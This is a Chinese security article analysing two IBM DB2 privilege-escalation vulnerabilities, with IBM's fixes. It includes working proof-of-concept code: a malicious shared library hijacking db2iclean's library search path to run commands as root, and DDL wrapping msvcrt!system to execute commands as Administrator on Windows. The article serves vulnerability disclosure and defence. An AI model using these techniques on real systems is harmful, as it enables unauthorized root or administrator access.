两枚近期IBM DB2 LUW漏洞提权分析
IBM最近发布了两个影响DB2的linux、unix、windows三个版本的安全漏洞补丁。
而本文将探讨其中这两发漏洞(CVE-2014-0907和CVE-2013-6744)的一些技术细节,从而帮助数据库管理员评估自身数据库环境的风险以及帮助管理员设计一个更加合理安全的解决方案。
第一发:(CVE-2014-0907)DB2执行提权漏洞
如果你需要提权的电脑上面装了DB2,而你恰好需要提权,你就该偷着乐啦~
在一定条件下,该漏洞可以允许一个本地普通用户获取到root权限,你可以点击此处阅读漏洞的原始报告。下面我们跟随大神的脚步跟踪一下这个CVE
IBM在公告处给出了以下解决方法:
$cd <DB2_instance_install_directory>$bin/db2chglibpath -s '.:' -r '' adm/db2iclean
下面,让我们看一下该命令是如何修复了这个漏洞以及黑客是如何利用这个漏洞的。 :)
首先,db2chglibpath工具的作用是改变二进制嵌入式库文件的搜索路径。
我们比较一下运行db2chglibpath运行前后的返回值:
这意味着,当前路径下所有的共享的二进制库文件都将作为搜索目标。
接下来,我们看一下执行db2iclean时发生过什么
$ sudo strace -o /tmp/db2iclean.log
$/home/db2inst1/sqllib/adm/db2iclean
$ cat /tmp/db2iclean.log | more
...
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("./tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
open("./cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("./libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("/DoNotCreateThisPath_marker1.*chglibpath/tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
从以上返回值我们可以看出,该应用程序首先会在当前目录试图加载libdb2ure2.so.1文件,当找不到之后才去在DB2的安装目录去搜索载入这个文件。而这个时候如果存在一个恶意的库文件“正好”存在于这个位置,那么这个库文件将会被载入,而且因为db2iclean命令是在root权限下执行的,所以恶意代码就相当于在root下运行起来了。但是db2clean命令本身并不是公开执行的,所以攻击者必须使执行账户成为db2adm1组的成员才能调用其指定的库文件,或者诱使其他用户(属于该组成员)执行这个库文件,其目的方可达到。
下面是POC
创建一个库文件,替换原DB2的库文件。代码如下:
// libdb2ure2.cpp
#include <stdlib.h>
int iGetHostName(char* n, int i){
system("id > /m.log");
}
这里作为测试,我们只定义的唯一的一个函数,我们看一下可爱的db2iclean会不会执行呢?先编译一下:
$ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp
然后我们作为一个普通用户执行一下db2iclean命令,看看这个过程是否会出现我们所预期的效果:
<DB2_instance_install_directory>/adm/db2iclean
看一下结果:
$ cat /m.log
uid=1004(james) gid=1001(james) euid=0(root) groups=0(root),126(db2iadm1),1001(james)
注意看一下EUID的值,我们发现我们所编译的函数最终是在root下运行的,看来与我们所预想的是一致的。
修复建议
IBM给出的修复建议是:升级SUID的库文件,并且不要在当前目录搜索载入那些不明来路的库文件,那样!很危险!
同时提醒我们广大的开发者朋友们!永远不要认为那些不受信任的路径是安全的!亚麻跌!
(妈咪说过,不要和陌生人说话!)
更多关于RPATH(runtime library path)的资料请戳这里:http://en.wikipedia.org/wiki/Rpath
第二发:(CVE-2013-6744) DB2权限控制不当导致提权发生
刚刚第一发是linux环境下的,第二发我们来一个win环境下的:该漏洞将使windows的登录用户可以获取到Administrator权限。下面我们来看一下关于这个漏洞的详细信息:
漏洞可利用的前提条件:
1、连接数据库的有效凭据2、数据库连接权限(CONNECT privilege)3、创建routine的权限,此权限不会被公开授予(CREATE_EXTERNAL_ROUTINE)
在Windows平台特权帐户默认情况下,DB2服务运行时并不受访问控制检查,这意味着可以通过CREATE_EXTERNAL_ROUTINE权限创建一个库文件并且形成调用,从而权限得以提升。
下面是POC
测试环境:
1、DB2 LUW10.1 Fix Pack 1版本2、DB2执行默认配置
首先用获取到CREATE_EXTERNAL_ROUTINE权限的用户运行以下的DDL,利用C runtime system来创建一个包装器:
CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL
接下来,调用:
CALL db2_exec('whoami /all > C:whoami.log')
然后我们看一下我们创建的文件:我们发现log文件包含了db2admin信息。这意味着,我们用一个非管理员账户成功用Administrator执行了,说明测试结果没有问题。
不过鉴于本漏洞需要的条件只有win下满足,所以此漏洞仅影响Windows安装,linux用户可以放心啦~~
修复建议
IBM建议仅对受信任用户授予CREATE_EXTERNAL_ROUTINE的特权。
另外需要注意的是:第二个漏洞修复以后,需要重启服务方可生效。
[参考信息来源spiderlabs.com,FreeBuf小编xia0k编译,转载请注明来自FreeBuf.COM]
- Docker容器学习梳理--容器间网络通信设置(Pipework和Open vSwitch)
- 温故而知新:Asp.Net中如何正确使用Session
- Android新手之旅(13) listview中数据重复的问题
- 温故而知新:HttpApplication,HttpModule,HttpContext及Asp.Net页生命周期
- proxy_pass反向代理配置中url后面加不加/的说明
- Android新手之旅(10) 嵌套布局
- C#代码也VB
- Docker容器学习梳理--SSH方式登陆容器
- Docker网络解决方案-Flannel部署记录
- Nginx的location配置规则梳理
- 统计代码行数的方法梳理
- 如何在不影响asp.net默认安全性的前提下使用ckeditor/fckeditor?
- Linux下防御DDOS攻击的操作梳理
- Android新手之旅(8) ListView的使用
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法